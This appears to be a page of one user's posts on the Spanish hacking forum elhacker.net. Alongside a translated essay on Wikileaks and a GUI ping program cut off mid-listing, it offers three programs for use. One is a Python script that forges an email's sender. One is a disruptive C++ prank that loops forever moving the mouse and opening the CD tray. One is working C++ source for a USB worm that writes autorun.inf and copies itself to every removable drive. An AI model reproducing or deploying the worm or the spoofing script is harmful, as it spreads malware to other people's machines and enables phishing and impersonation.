elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 [9] 10 11 12 13
81  Programación / Scripting / [python][aporte]cliente de correo falsificar remitente en: 5 Julio 2013, 15:13 pm
la idea de mi cliente de correo es poder falsificar el correo del que se envia el mail (no es que quiera hacer nada ilegal  ;))
Código
  1. #!/usr/bin/python
  2. import smtplib
  3. import os
  4. from email.mime.text import MIMEText
  5. print "programa para enviar correo"
  6. mensaje = MIMEText(raw_input("mensaje a enviar "))
  7. mensaje["From"]=raw_input("de quien quieres que aparezca en el correo ")
  8. mensaje["To"]=raw_input("a parte de quien el correo quiere q aparezca ")
  9. server = raw_input("que servidor \n nota: hotmail es smtp.live.com: ")
  10. print "conectando al servidor"
  11. try:
  12.    s = smtplib.SMTP(server)
  13.    s.ehlo(server)
  14.    s.starttls()
  15.    correo = raw_input("escriba su correo ")
  16.    clave = raw_input("escriba clave ")
  17.    print "entrando a su correo"
  18.    s.login( correo, clave)
  19.    correo2 = raw_input("a que correo quieren enviar el mail? ")
  20.    s.sendmail(correo, correo2, mensaje.as_string())
  21.    s.close
  22.    print "correo enviado presione enter para salir"
  23.    raw_input()
  24. except:
  25.           print "error no se pudo enviar el correo presione enter"
  26.           raw_input()
82  Foros Generales / Foro Libre / Deconstruyendo Wikileaks: ¿cuál es el verdadero objetivo de las filtraciones? en: 5 Julio 2013, 14:54 pm
Muy interesante artículo traducido de Zunguzungu y distribuido ayer 1 de diciembre por Wikileaks en el grupo que la organización maneja en Facebook. Se trata de un resumen de las ideas de Julian Assange sobre las verdaderas pretensiones de Wikileaks al filtrar documentos ante el secretismo de los gobiernos, aderezado con profundas perspicacias del redactor.



Deconstruyendo Wikileaks: ¿cuál es el verdadero objetivo de las filtraciones?
escrito por zunguzungu


original en
http://zunguzungu.wordpress.com/2010/11/29/julian-assange-and-the-computer-conspiracy-%E2%80%9Cto-destroy-this-invisible-government%E2%80%9D/

traducido por yemeth para Decondicionamiento.org

("Abrimos gobiernos")
 
Citar
”Para cambiar radicalmente la conducta del régimen debemos pensar con claridad y valentía, puesto que si algo hemos aprendido, es que los regímenes no quieren ser cambiados. Nuestro pensamiento debe ir más allá que el de quienes que nos han precedido, descubriendo cambios tecnológicos que nos envalentonen mediante modos de actuar en que antes no pudieran haber sido utilizados. Primero, debemos entender qué aspecto de la conducta del gobierno o del neocorporativismo queremos cambiar o eliminar. En segundo lugar, debemos desarrollar una forma de pensar sobre esta conducta que tenga la suficiente fuerza como para llevarnos a través del lodazal del lenguaje políticamente distorsionado, hasta llegar a una posición de claridad. Por último, debemos utilizar este entendimiento para inspirar en nosotros y en otros un curso de acción efectiva y ennoblecedora”.

Julian Assange, “Conspiraciones estatales y terroristas”

El escrito que introduce esta cita es intelectualmente substancial, pero realmente no es difícil de leer, así que podrías echarle un vistazo tú mismo. La mayor parte de los medios de comunicación parecen estar perdiendo la cabeza con Wikileaks sin haberse leído estos ensayos, incluso a pesar de que describe la función y los objetivos de una organización como Wikileaks en términos meridianamente claros. Para resumirlo, comienza describiendo un estado como los EEUU esencialmente como una conspiración autoritaria, y entonces deduce que la estrategia práctica para combatir esa conspiración es degradar su capacidad de conspirar, obstaculizar su capacidad para “pensar” como una mente conspiradora. La metáfora de una red de ordenadores queda en este texto esencialmente implícita, pero es totalmente crucial: busca oponerse al poder del estado tratándolo como como un ordenador y arrojando arena sobre sus diodos.

Comienza proponiendo que la conspiración y el autoritarismo van de la mano, argumentando que dado que el autoritarismo produce la resistencia a sí mismo -generando tal resistencia en la medida en que ese autoritarismo se haga conocido para el público-, sólo puede continuar existiendo y funcionando impidiendo que sus intenciones (¿la autoría de su autoridad?) sean conocidas por el público general. Inevitablemente se convierte, según argumenta Assange, en una conspiración:
Citar
Los regímenes autoritarios dan lugar a que se alcen fuerzas que se oponen a ellos al trabajar contra la voluntad individual y colectiva hacia la libertad, hacia la verdad y la autorealización. Los planes que asisten al dominio autoritario, una vez descubiertos, inducen a la resistencia. Por tanto estos planes son ocultados por los poderes autoritarios exitosos. Esto es suficiente para definir su conducta como conspirativa.

El problema que esto crea para la conspiración gubernamental se convierte entonces en el problema de organización que debe resolver: si la conspiración debe operar en secreto, ¿cómo se puede comunicar, cómo puede planificar y tomar decisiones, disciplinarse y transformarse para afrontar nuevos retos? La respuesta es: controlando el flujo de la información. Después de todo, si la organización tiene unos objetivos susceptibles de ser articulados, el darles esta estructura abiertamente los expone a la resistencia. Pero al mismo tiempo, el no conseguir articular estos objetivos ante sí misma priva a la organización de su capacidad para procesarlos y avanzar para lograrlos. Para las conspiraciones autoritarias el equilibrio apropiado entre autoridad y conspiración se encuentra en algún lugar intermedio.

Su modelo para imaginar la conspiración, entonces, no es en absoluto ese cliché al que se refiere la gente cuando se burlan despectivamente de alguien por ser un “teórico de la conspiración”. Después de todo, la mayor parte de las “conspiraciones” con las que estamos familiarizados son puras fantasías, y dado que los “Protocolos de Sión” o el SPECTRE de James Bond nunca han existido, su no existencia se convierte en un garrote con el que golpear a la gente que pueda utilizar el término o el concepto. En cambio, para Assange una conspiración es algo bastante banal, se trata simplemente de cualquier red de asociados que actúan coordinados ocultando su asociación concertada a quienes están fuera de la red, esto es, una autoridad que funciona evitando que sus actividades sean lo bastante visibles como para provocar una reacción en contra. Puede tratarse de algo tan espectacular como una coalición poco rígida de conspiradores trabajando para empezar una guerra con Iraq, o podría tratarse simplemente de los engaños y conspiraciones banales de los procedimientos diplomáticos habituales.

La analogía de un tablón con clavos que están atados con cordeles ilustra apropiadamente este modelo teórico:

En primer lugar toma algunos clavos (“conspiradores”) y luego clávalos aleatoriamente a martillazos en un tablón. Entonces utiliza un cordel (“comunicación”) y pásalo de clavo a clavo sin romperlo. Llamemos “enlace” al cordel que conecta a dos clavos. El cordel sin romper significa que es posible viajar de un clavo a cualquier otro clavo mediante cordel y clavos intermedios... es decir, estamos hablando de los flujos de información de conspirador a conspirador. No todo conspirador confía o conoce al resto, incluso si todos están conectados. Algunos están en los márgenes exteriores de la conspiración, otros son centrales y se comunican con muchos conspiradores, y otros apenas conocen a un par de conspiradores pero son un puente entre secciones o agrupaciones importantes dentro de la conspiración...

A menudo los conspiradores aplican criterio, pues algunos confían y dependen de los demás mientras que otros dicen poca cosa. Los flujos de información importantes fluyen a menudo a través de determinados enlaces, y a través de otros viaja información trivial. Así que expandimos nuestro sencillo modelo de grafo conectado para incluir no sólo enlaces sino su “importancia”.

Citar
Regresemos a nuestra analogía de tablón-y-clavos. Imagina un cordel grueso y pesado uniendo algunos de los clavos y un cordel delgado y ligero uniendo otros. Llamemos “peso” a la importancia del enlace en su grosor o delgadez. El “peso” entre conspiradores que nunca se comunican es cero. La “importancia” de la comunicación que pasa a través de un enlace es difícil de evaluar a priori, ya que su verdadero valor depende del resultado de la conspiración. Podríamos decir sencillamente que la “importancia” de la comunicación contribuye al peso de un enlace de la manera más obvia; el peso de un enlace es directamente proporcional a la cantidad de información importante que fluye a través de ella. Las preguntas sobre conspiraciones en general no necesitarían que conociésemos el peso de link alguno, ya que este cambia de una conspiración a otra. [1]

Tal red no estará organizada por un diagrama de flujo, ni producirá nunca un único mapa coherente de sí misma (sin acelerar de ese modo su propio colapso). Probablemente es bastante acéfala por regla general: si tuviera una única cabeza (o una mente única organizadora que pudiera inspeccionar y mapear el conjunto), entonces cada conspirador estaría a un paso del jefe y apenas a dos pasos del resto de los miembros de la conspiración. Es decir, se necesita cierta capacidad de centralización (de otro modo no habría conspiración), pero demasiada centralización vuelve vulnerable al sistema.

Utilizando la serie de televisión Bajo Escucha como ejemplo claro a mano, imagínate que Avon Barksdale se estuviera comunicando directamente con Bodie. Todo lo que tendrías que hacer es conseguir a una persona -cualquier persona- y estarías a un paso del jefe, cuya conexión directa al resto de la gente en la conspiración te permitiría barrerlos a todos de una vez. Obviamente, ninguna conspiración efectiva funcionaría así. Recuerda a String Bell en la serie, “no me jodas tío, ¿estás tomando notas sobre una [nuestra] jodida conspiración criminal?”. Para funcionar de manera efectiva, la autoridad primaria debe estar des-asociada del resto de los miembros de la conspiración, y las capas de mediación deben ser todo lo opacas que sea posible para los implicados (cosa que aclara poco un recibo). Pero mientras que la complejidad de estos enlaces protegen a la autoridad dirigente de quedar expuesta, también limitan la capacidad de Avon Barksdale de controlar lo que sucede a su alrededor. ¡Los negocios funcionan con sus propias reglas! Y cuantos más muros construyes a su alrededor, menos puede confiar la autoridad en sus lugartenientes, y menos le necesitarán (o siquiera tolerarán) ellos.

Esto, razona Assange, es una manera de convertir una característica en un bug. Y la perspicacia que subyace es una idea sencilla y, en mi opinión, bastante persuasiva: mientras que una organización estructurada por líneas directas y abiertas de comunicación será mucho más vulnerable a la penetración del exterior, cuanto más opaca se haga de cara a sí misma (como defensa ante la mirada exterior) menos capaz será de “pensar” como un sistema, de comunicarse consigo misma. Cuanto más conspiratoria se vuelva, en cierto sentido, menos efectiva será como conspiración. Cuanto más cerrada está una red a las intrusiones externas, menos capaz será de involucrarse en aquello que está fuera de ella (toda una teorización hacker)

Por supuesto, su pensamiento no es así de abstracto; como anota explícitamente, también entiende el funcionamiento del Estado en EEUU haciendo una analogía con las organizaciones terroristas con éxito. Si has visto por ejemplo “La Batalla de Argel”, piensa en cómo el contra-terrorismo francés trabaja para producir un diagrama de flujo de la organización de la resistencia argelina: dado que tienen una superioridad militar abrumadora, su incapacidad para aplastar al FLN residía en su incapacidad para encontrarlo, una incapacidad pretendida estratégicamente por el propio FLN mediante su propia descentralización. Cortarle una pata al pulpo, se dio cuenta el FLN, no degradaría el sistema como un todo siempre que las patas operasen de manera independiente. Los enlaces entre las unidades fueron los puntos vulnerables para el sistema desde una perspectiva global, con lo que eran lo más cuidadosamente protegido por parte de los argelinos, y lo más insistentemente perseguido por los franceses. Y a pesar de que los franceses ganaron la batalla de Argel, perdieron la guerra, porque adoptaron las tácticas que menciona Assange brevemente tan sólo para dejarlas después a un lado:

Citar
¿Cómo podemos reducir la capacidad de actuación de una conspiración? … Podemos partir la conspiración, reducir o eliminar comunicación importante entre algunos enlaces-cordeles que pesen mucho o entre muchos enlaces de poco peso. Los ataques tradicionales a los grupos de poder conspirativo como el asesinato, han cortado enlaces de pesos altos asesinando, secuestrando, chantajeando o de algún otro modo marginando o aislando algunos de los conspiradores a los que estaban conectados.

Esta es la estrategia del antiterrorismo de EEUU -encontrar quién está al cargo y luego ir a por él-, pero no es esto lo que quiere hacer Assange: tal programa aislaría una versión específica de la conspiración e intentaría destruir la forma concreta ya existente de esta, lo cual, argumenta Assange, tendría dos limitaciones importantes.

Por un lado, para el momento en que esa conspiración adopta una forma que pueda servir de diana, su capacidad para funcionar estará bastante avanzada. Como él escribe:

Citar
“Un hombre encadenado sabe que debería haber actuado antes, puesto que su capacidad para influir las acciones del Estado se acerca a su fin. Para manejarnos con acciones conspirativas poderosas debemos adelantarnos a la hora de pensar, y atacar el proceso que lleva hasta allá, dado no podemos tratar con las acciones en sí mismas.”

En otras palabras, en el momento en que el cáncer haya hecho metástasis, los antioxidantes ya no son efectivos, e incluso es difícil aplicar una quimioterapia violenta. Entonces, es mejor pensar sobre cómo las conspiraciones llegan a existir para impedir que siquiera se formen (del mismo modo que si aislas el carcinógeno lo bastante pronto, no necesitarás quitar el tumor después). Es decir, que la idea es dirigirse al proceso de agregación en sí, obstaculizando el principio de su reproducción: en lugar de intentar exponer y cortar enlaces específicos entre conspiradores (que sirve para poco a la hora de evitar que se formen nuevos enlaces y podría no alterar el funcionamiento del sistema a nivel global), pretende atacar al “poder conspirativo al completo” del sistema averiguando cómo reducir su capacidad total para compartir e intercambiar información, y así conseguir frenar su capacidad de proceso. Como él mismo indica:

Citar
Las conspiraciones son artefactos cognitivos. Son capaces de pensar más rápido que el propio grupo de individuos actuando sólos. Las conspiraciones toman información sobre el mundo en que operan (el entorno conspirativo), pasan a través de los conspiradores, y actúan entonces sobre el resultado. Podemos ver las conspiraciones como un tipo de artefacto que tiene flujos de entrada (información sobre el entorno), una red informática (los conspiradores y sus enlaces entre ellos), y flujos de salida (acciones que pretenden cambiar o mantener el entorno).

Dado que piensa sobre la conspiración como una red informática, destaca en un aparte que un método para debilitar su capacidad cognitiva sería degradar la calidad de su información:
Citar
Dado que una conspiración es un tipo de artefacto cognitivo que actúa sobre la información adquirida de su entorno, distorsionar o restringir estos flujos de entrada implicará que los actos que se basen en ellos muy probablemente van a errar el tiro. En programación se llama a este efecto “basura dentro, basura fuera”. Habitualmente el efecto va en la otra dirección; son las conspiraciones los agentes del engaño y la restricción de la información. En EEUU, este aforismo del programador a menudo se llama “el Efecto Fox News”.

No estoy seguro de que sea esto lo que quiere decir, pero merece la pena reflexionar que la capacidad de la conspiración para engañar a otros mediante la propaganda también puede funcionar como la tendencia de la conspiración para engañarse a sí misma sobre su propia propaganda. Mucha gente cae en la trampa genuinamente después de todo. ¿Habrían caído tanto en la trampa del talibán impostor nuestros super-espías en Afganistán si no hubieran creido en esencia su propia línea de propaganda, si no se hubieran convencido a sí mismos -incluso de manera provisional- de que de hecho estamos ganando la guerra contra los Talibán? Lo mismo es cierto sobre las armas de destrucción masiva; aunque nadie que poseyera los hechos podría concluir racionalmente que Saddam Hussein como Irán ahora tuvieran o estuvieran persiguiendo tener tales armas, esto no significa que la gente que habla sobre bombas de relojería con este tema no se lo crea. A veces esto trabaja a su favor, pero a veces no: si Obama pensara que Afganistán se puede ganar, podría hundir su presidencia, por ejemplo, mientras que la creencia de sus asesores de que la economía se recuperaría si el gobierno rescatara sólo a los bancos casi con toda certeza hizo perder las elecciones a mediados de la legislatura para el Partido Demócrata (y fue un golpe mortal para muchos de quienes estaban implementando esa política en particular). Que esto haga daño a una conspiración en particular no está claro; puede que los impulsores de esa política hayan perdido sus cargos, pero la mayor parte de ellos se retirarán del servicio público pasando a cómodos trabajos en los sectores que ellos apoyaron mientras formaban parte del estado. Y muchos políticos de éxito no hacen otra cosa que fallar.

Sin embargo, no es en esta dirección que se dirige el razonamiento de Assange. En vez de esto, decide que la manera más efectiva de atacar este tipo de organización sería convertir las “filtraciones” en una parte fundamental del entorno de información de la conspiración. Por esto es por lo que lo importante no es que unas filtraciones en particular vayan a ser específicamente efectivas. Wikileaks no filtra algo como el video de “Asesinato Colateral” como mecanismo para poner fin a esa táctica militar en particular; eso sería tomar como objetivo una pata específica de la hidra mientras que al monstruo le crecen otras dos patas. En vez de eso, la idea es que aumentar la porosidad del sistema de información de la conspiración dificultará su funcionamiento, que la conspiración se volverá contra sí misma en su auto-defensa, tomando medidas drásticas sobre sus propios flujos de información de maneras que impidan sus propias funciones cognitivas. En otras palabras, destruyes la conspiración haciéndola tan paranoica de sí misma que ya no pueda conspirar:

Citar
Cuanto más secretista o injusta es una organización, mayor miedo y paranoia inducen en su liderazgo y su círculo de planificación las filtraciones. Esto debe resultar en una minimización de la eficiencia de los mecanismos de comunicación interna (un aumento en el “impuesto de secretismo” cognitivo) y en el consiguiente declinar cognitivo a lo largo del sistema que desemboca en una menor capacidad para mantenerse en el poder, dado que el entorno requiere que se adapte a él. Por tanto, en un mundo en el que la filtración es fácil, los sistemas secretistas o injustos son golpeados no-linealmente mediante sistemas justos y abiertos. Dado que los sistemas injustos debido a su propia naturaleza inducen a que emergan sus opositores, y en muchos lugares apenas disfrutan de una posición superior, las filtraciones masivas les dejan exquisitamente vulnerables ante aquellos que buscan sustituirlos con formas más abiertas de gobierno.   

En otras palabras, la filtración es tan sólo el catalizador para la contra-reacción deseada; Wikileaks quiere provocar a la conspiración para que apague su propio cerebro en respuesta a la amenaza. Mientras intenta cubrir sus propios agujeros y encontrar a los filtradores, razona Assange, los elementos que la componen se des-sincronizarán y se volverán unos contra otros, se des-enlazarán de la red de procesamiento central, y se desharán. Incluso si todos los elementos de la conspiración todavía existen, el hecho de privarles de un flujo vigoroso de información que los conecta juntos como una conspiración evita que actúen como una conspiración. Tal como lo plantea:

Citar
Si el poder conspirativo total es cero, entonces claramente no hay flujo de información entre los conspiradores y por lo tanto no hay conspiración. Un aumento o descenso substanciales en el poder total conspirativo casi siempre significa lo que esperamos que signifique; un aumento o disminución en la capacidad de la conspiración para pensar, actuar y adaptarse... una conspiración autoritaria que no puede pensar carece del poder para preservarse a sí misma contra los opositores que genera.

En este sentido, casi todos los comentarios de los medios sobre la última ronda de filtraciones ha errado totalmente el tiro. Después de todo, ¿por qué se están filtrando cables diplomáticos? Estas filtraciones no tratan específicamente sobre las guerras en absoluto, y muchos parecen ser sencillamente una ámplia franja de los secretos del día a día que un estado oculta a todo el mundo excepto a los centenares de miles de gente en quienes más confía, que tienen los permisos apropiados para acceder a ellos. La cuestión es: Assange tiene toda la razón al afirmar que nuestro gobierno tiene funciones conspirativas. ¿De qué otro modo podría llamarse al hecho de que un pequeño porcentaje de nuestra clase dirigente gobierne y actúe en nuestro nombre de acuerdo con información que comparte libremente a nivel interno pero que no puede ser compartida entre sus electores?. Y todos nosotros probablemente sabemos que este ha sido más o menos el caso; cualquiera que se haya sorprendido porque lo que nuestras embajadas están haciendo sea trabajo político sucio, secreto e insincero, es por norma general un ingenuo. Pero Assange no pretende producir un escándalo periodístico que provoque reformas gubernamentales sonrojadas o alguna cosa por el estilo, precisamente porque a nadie le escandalizan ya estas cosas. En vez de eso, lo que está intentando es estrangular los enlaces que hacen posible la conspiración, para exponer la necesaria porosidad de la red conspirativa del estado norteamericano con la esperanza de que tal estado intente entonces encoger su metafórica red informática en respuesta, haciéndose por tanto más estúpida y lenta y pequeña.

Las primeras respuestas parecen indicar que Wikileaks va en el buen camino si quiere llevar a cabo algunos de esos objetivos. Como afirma Simon Jenkins (en un gran texto por derecho propio), “las filtraciones han abierto un agujero en el armazón por el que los estados guardan sus secretos”. Y si los diplomáticos citados por Le Monde tienen razón en cuanto que “nunca volveremos a ser capaces de practicar la democracia como antes”, esto es exáctamente lo que WIkileaks estaba intentando conseguir. Es un tanto patético escuchar a los diplomáticos y sus cómplices en el gobierno lamentar que el trabajo normal de la “diplomacia” será ahora imposible. Es como escuchar a alguien quejarse porque el tipo que tiene al lado que juega tan bien al baloncesto le está impidiendo coger los rebotes. Pobrecitos. Si Assange tiene razón al destacar que su organización ha conseguido un mayor escrutinio estatal que el resto del aparato periodístico combinado, tiene razón, pero también está desviando el tema: si bien Wikileaks hace algunas cosas que hacen los periodistas, también hace otras muy distintas. Assange, como indican muy claramente sus afirmaciones introductorias, tiene como objetivo “alterar radicalmente la conducta de los regímenes”.

Si Wikileaks es un tipo distinto de organización que cualquier otra cosa que hayamos visto antes, es interesante verle alinearse con un progresismo más convencional. Assange no está muy desencaminado después de todo cuando cita las palabras de Theodore Roosevelt en su plataforma progresista presidencial de 1912 como epígrafe al primer ensayo; Roosevelt se dio cuenta hace cien años que “Detrás del gobierno aparente se asienta entronizado un gobierno invisible que no debe lealtad ni reconoce responsabilidad alguna a la gente”, y también era cierto entonces que “La primera tarea del arte de gobernar es destruir este gobierno invisible, contaminar esta alianza terrible entre los negocios corruptos y los políticos corruptos”. Assange está intentando cagar sobre toda esta alianza terrible con métodos que el Roosevelt tardío y más radical habría elogiado.

Merece la pena acabar entonces recordando que Roosevelt acuñó el término “remueve-estiercol” [Muckracker en inglés], y que lo hizo como un término despreciativo. Sobre la novela de Bunyan “El Progreso del Peregrino”, Roosevelt citaba el ejemplo del “remueve-estiercol” que sólo podía mirar hacia abajo, cuya perspectiva estaba totalmente limitada al “estiercol” que debía remover en su trabajo, y que había perdido la capacidad de ver nada superior. Merece la pena citar aquí al propio Roosevelt:

Citar
En el Progreso del Peregrino de Bunyan quizá recordeis la descripción del hombre remueve-estiercol, el hombre que no podía mirar en otra dirección que hacia abajo, con sus herramientas en la mano; a quien se le ofreción una corona celestial por su remover del estiercol, pero que no podía mirar hacia arriba ni tomar en consideración la corona celestial que se le ofrecía, sino que seguía removiendo hacia sí la mugre del suelo... el Hombre con el removedor de estiercol es propuesto como ejemplo de aquellos cuya visión está fijada en lo carnal en lugar de en las cosas espirituales. Sin embargo, también tipifica al hombre que en esta vida se niega consistentemente a ver nada noble y elevado, y fija sus ojos con solemnidad sólo en aquello que es vil y degradante. Ahora bien, es muy necesario que no nos acobardemos a la hora de ver lo que es vil y degradante. Hay mugre en el suelo, y debe ser fregada con el removedor de estiercol; y hay ocasiones y lugares en las que este servicio es el más necesario de todos los que se pueden llevar a cabo. Pero el hombre que nunca hace otra cosa, quien nunca piensa o habla o escribe excepto sobre sus logros con el remueve-estiercol, se convierte rapidamente no en una ayuda a la sociedad, no en una incitación al bien, sino en una de las más poderosas fuerzas para el mal. Hay muchos y graves males en el cuerpo político, económico y social, y hay una necesidad urgente de hacerles la guerra más severa. Debería haber una implacable puesta al descubierto y ataque hacia todo hombre malvado, ya sea político u hombre de negocios, hacia toda práctica malvada, ya sea en política, en los negocios, o en la vida social. Alabo como a un benefactor a todo escritor u orador, a todo hombre que sobre un estrado, en un libro, en una revista o en un periódico, haga tal ataque con severidad y sin piedad alguna, siempre que al mismo tiempo y en todo momento recuerde que el ataque sólo es útil si es totalmente honesto y veraz...

Roosevelt pudo ser muchas cosas cuando profirió aquellas palabras, pero no estaba errado. Hay cierta amoralidad despiadada en la filosofía de Mark Zuckerberg[2] de que toda transparencia es una cosa buena siempre y en todas partes, particularmente cuando es proferida por el tipo que está bien ocupado forrándose con tu radical transparencia. Y la manera en la que la mayor parte de los periodistas “destapan” los secretos como práctica profesional -con los límites que se ponen al hacerlo- está afectado por el mismo egoísmo limitante: porque publicitan lo privado sólo cuando existe un beneficio al hacerlo, con lo que tienen los ojos fijos en el valor del estiercol que están removiendo, y aprenden a comprometer su futura existencia profesional sobre un flujo firme y contínuo de estiercol. En el estiercol confían.

De acuerdo con su ensayo, Julian Assange está intentando hacer otra cosa. Dado que todos sabemos a grandes rasgos que el Estado en EEUU -como todos los estados- está en esenciahaciendo un montón de cosas básicamente sombrías durante más o menos todo el tiempo, el mero hecho de revelar las maneras específicas en las que están haciendo estas cosas sombrías no es de por sí una cosa necesariamente buena. En algunos casos podría ser malo, y en muchos casos el bien provisional que pueda hacer tendrá un rango de acción limitado. La cuestión que debe plantearse un ser humano ético -y Assange siempre enfatiza su ética- debe ser la cuestión sobre qué conseguirá poniendo los secretos al descubierto, qué bien hará, qué mejor estado de las cosas traerá. Y estés de acuerdo o no con su argumentación, Assange tiene una visión claramente articulada sobre cómo las actividades de Wikileaks “nos llevarán a través del lodazal del lenguaje políticamente distorsionado, hasta llegar a una posición de claridad”, una estrategia que señala que al poner al descubierto los secretos se impedirá en último término la producción de futuros secretos. Así, el sentido de Wikileaks -así lo argumenta Assange- es sencillamente hacer que Wikileaks se vuelva innecesario.



[1] N.del T. : Esta idea sobre los clavos y el cordel está tomada de los modelos matemáticos de la “Teoría de Grafos”: http://es.wikipedia.org/wiki/Teor%C3%ADa_de_grafos

[2] N, del T. : Mark Zuckerberg es el creador y CEO de Facebook.


("El Gran Hermano está vigilando...
Nosotros también")

fuente: http://www.13t.org/decondicionamiento/forum/viewtopic.php?p=15888
83  Programación / Programación C/C++ / broma en c++ en: 3 Julio 2013, 16:09 pm
aca un pequeño programa que hice abre el cdrom cambia la posicion del mouse y pone una canción:

Código:
#include <windows.h>
#include <mmsystem.h>
#include <iostream>


int main(int argc, char *argv[])
{
    int x;
    int y;
    mciSendString("play na.wav",0,0,0);
    MessageBox(0,"su computador esta poseido att:el diablo","error de posesion",MB_HELP);
    while(true)
    {
    x=(rand() % 1000);
    y=(rand() % 800);
    SetCursorPos(x,y);
    mciSendString("set Cdaudio door open",0,0,0);
    Sleep(4000);
    mciSendString("set Cdaudio door close",0,0,0);
    }
    return EXIT_SUCCESS;
}

edito: en Dev-C++ tienen que ir a: opciones del compilador>añadir estos comandos a la linea de comandos del linker. Deben seleccionar la casilla que te aparece y colocar dentro del campo de texto esto: -lwinmm, en el caso de otros compiladores debes linkear la libreria de otra forma

#pragma comment ( lib, "winmm.lib" )
84  Programación / Programación C/C++ / [c++ - windows xp]copiarse a una usb con autorun en: 3 Julio 2013, 16:07 pm
talves a alguien le sirva

Código
  1. #include <iostream>
  2. #include <windows.h>
  3. #include <fstream>
  4.  
  5.  
  6.  
  7. using namespace std;
  8.  
  9. int main(int argc,char *argv[])
  10. {
  11.    while(true){
  12.    UINT test;
  13.    char tok[][5]={"C:","D:","E:","F:","G:","H:"}; //obviamente se pueeden poner mas  aunque no es muy comun que pase de H://
  14.    for (int l=0;l<=4;l++){
  15.    test = GetDriveType(tok[l]); // MIRA QUE TIPO DE DISPOSITIVO ES EN CASO DE SER 2 ENTONCES ES UNA USB SI ES 1 NO EXISTE
  16.    if(test==2){
  17.    SetCurrentDirectory(tok[l]); // SE UBICA EN EL DIRECOTORIO RAIZ DE LA USB
  18.    ifstream programa;
  19.    programa.open("programa.exe");
  20.    if(!programa.is_open()){ // EN CASO DE NO ESTAR INFECTADA LO HACE
  21.    cout << "usb infectada" << endl;
  22.    ofstream autorun;
  23.    autorun.open("autorun.inf"); //FAMOSO AUTORUN
  24.    autorun << "[Autorun]" << endl;
  25.    autorun << "Open=programa.exe" << endl;
  26.    autorun << "Label=USB INFECTADA"<< endl;
  27.    autorun << "UseAutoplay=1"<< endl;
  28.    autorun << "action=Abrir USB"<< endl;
  29.    autorun << "action=@programa.exe"<< endl;
  30.    autorun << "shell\\open=Abrir"<< endl;
  31.    autorun << "shell\\open\\Command=programa.exe" << endl;
  32.    autorun << "shell\\open\\Default=1" << endl;
  33.    autorun << "shell\\explore=Explorar"<< endl;
  34.    autorun << "shell\\explore\\Command=programa.exe"<< endl;
  35.    autorun.close();
  36.    CopyFile( argv[0], "programa.exe", true ); // SE COPIA
  37.    }
  38.    }
  39.    }
  40.    Sleep(5000); // ESPERA 5 SEGUNDOS
  41.    }
  42.    return 0;
  43. }
85  Programación / Programación C/C++ / [c]aporte ping con interfaz grafica en: 3 Julio 2013, 16:06 pm


Código
  1. #include <windows.h>
  2. #include <cstdio>
  3. #include <cstring>
  4. #include <iostream>
  5.  
  6. int MN_MENSAJE=1024;
  7. int MN_SALIR=1025;
  8. HINSTANCE miinstance;
  9. /*  Declare Windows procedure  */
  10. LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
  11.  
  12. /*  Make the class name into a global variable  */
  13. char szClassName[ ] = "CodeBlocksWindowsApp";
  14.  
  15. int WINAPI WinMain (HINSTANCE hThisInstance,
  16.                     HINSTANCE hPrevInstance,
  17.                     LPSTR lpszArgument,
  18.                     int nCmdShow)
  19. {
  20.    HWND hwnd;               /* This is the handle for our window */
  21.    MSG messages;            /* Here messages to the application are saved */
  22.    WNDCLASSEX wincl;        /* Data structure for the windowclass */
  23.    miinstance=hThisInstance;
  24.  
  25.    /* The Window structure */
  26.    wincl.hInstance = hThisInstance;
  27.    wincl.lpszClassName = szClassName;
  28.    wincl.lpfnWndProc = WindowProcedure;      /* This function is called by windows */
  29.    wincl.style = CS_DBLCLKS;                 /* Catch double-clicks */
  30.    wincl.cbSize = sizeof (WNDCLASSEX);
  31.  
  32.    /* Use default icon and mouse-pointer */
  33.    wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
  34.    wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
  35.    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
  36.    wincl.lpszMenuName = NULL;                 /* No menu */
  37.    wincl.cbClsExtra = 0;                      /* No extra bytes after the window class */
  38.    wincl.cbWndExtra = 0;                      /* structure or the window instance */
  39.    /* Use Windows's default colour as the background of the window */
  40.    wincl.hbrBackground = (HBRUSH)CreateSolidBrush(RGB(239,239,239));
  41.  
  42.    /* Register the window class, and if it fails quit the program */
  43.    if (!RegisterClassEx (&wincl))
  44.        return 0;
  45.  
  46.    /* The class is registered, let's create the program*/
  47.    hwnd = CreateWindowEx (
  48.           0,                   /* Extended possibilites for variation */
  49.           szClassName,         /* Classname */
  50.           "Ping",       /* Title Text */
  51.           WS_OVERLAPPEDWINDOW, /* default window */
  52.           CW_USEDEFAULT,       /* Windows decides the position */
  53.           CW_USEDEFAULT,       /* where the window ends up on the screen */
  54.           544,                 /* The programs width */
  55.           275,                 /* and height in pixels */
  56.           HWND_DESKTOP,        /* The window is a child-window to desktop */
  57.           NULL,                /* No menu */
  58.           hThisInstance,       /* Program Instance handler */
  59.           NULL                 /* No Window Creation data */
  60.           );
  61.  
  62.  
  63.    /* Make the window visible on the screen */
  64.    ShowWindow (hwnd, nCmdShow);
  65.  
  66.    /* Run the message loop. It will run until GetMessage() returns 0 */
  67.    while (GetMessage (&messages, NULL, 0, 0))
  68.    {
  69.        /* Translate virtual-key messages into character messages */
  70.        TranslateMessage(&messages);
  71.        /* Send message to WindowProcedure */
  72.        DispatchMessage(&messages);
  73.    }
  74.  
  75.    /* The program return-value is 0 - The value that PostQuitMessage() gave */
  76.    return messages.wParam;
  77. }
  78.  
  79.  
  80. /*  This function is called by the Windows function DispatchMessage()  */
  81.  
  82. LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
  83. {
  84.    const int MN_MENSAJE=1025;
  85.    HMENU menu=CreateMenu();
  86.    HMENU submenu=CreateMenu();
  87.    switch (message)                  /* handle the messages */
  88.    {
  89.        case WM_CREATE:
  90.            AppendMenu(submenu,MF_STRING,MN_MENSAJE,"&creditos");
  91.            AppendMenu(menu,MF_STRING|MF_POPUP,(UINT)submenu,"&Acerca de");
  92.            SetMenu(hwnd,menu);
